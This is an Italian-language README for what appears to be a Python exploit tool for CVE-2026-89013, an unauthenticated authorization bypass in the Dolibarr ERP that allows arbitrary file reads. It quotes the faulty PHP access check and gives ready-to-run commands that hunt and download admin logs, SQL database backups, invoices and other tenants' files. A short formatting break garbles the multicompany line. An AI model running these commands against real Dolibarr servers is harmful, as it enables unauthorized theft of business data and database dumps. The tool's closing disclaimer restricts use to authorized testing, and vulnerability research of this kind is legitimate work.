
Exploit Python per CVE-2026-89013, un bypass di autorizzazione hashp non autenticato di Dolibarr che consente la lettura arbitraria di file, con modalità check, list, hunt, read e download.
Exploit per CVE-2026-89013: document.php e viewimage.php forzano NOLOGIN quando
il parametro hashp è presente. Il valore marcatore interno shared salta
la risoluzione del token di condivisione, ma l'override del controllo di accesso scatta comunque per qualsiasi
valore non vuoto e imposta $accessallowed = 1, scartando il risultato di
dol_check_secure_access_document(). Una richiesta non autenticata può quindi
leggere qualsiasi file in ogni albero modulepart: documenti aziendali, log di amministrazione, backup SQL
(modulepart=systemtools), sorgenti di moduli personalizzati (modulepart=packages),
e altre entità multicompany tramite .
&entity=N| Affected | Dolibarr 23.0.4 – 24.0.0 |
| Fixed | 24.0.1 |
| Prerequisites | none (unauthenticated) |
| Impact | arbitrary file read within Dolibarr's managed directories |
// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
Una regressione del commit 5028dae981e (2026-08-12), distribuita per la prima volta in 23.0.4 e
24.0.0. Il traversal (../) è sanificato lato server — questo è un bypass di autorizzazione, non un path traversal.
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check
# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list
# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
Solo libreria standard (Python 3.8+). Supporta --proxy, --insecure, --timeout.

Solo per test e ricerca autorizzati. Utilizzare esclusivamente su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione al test.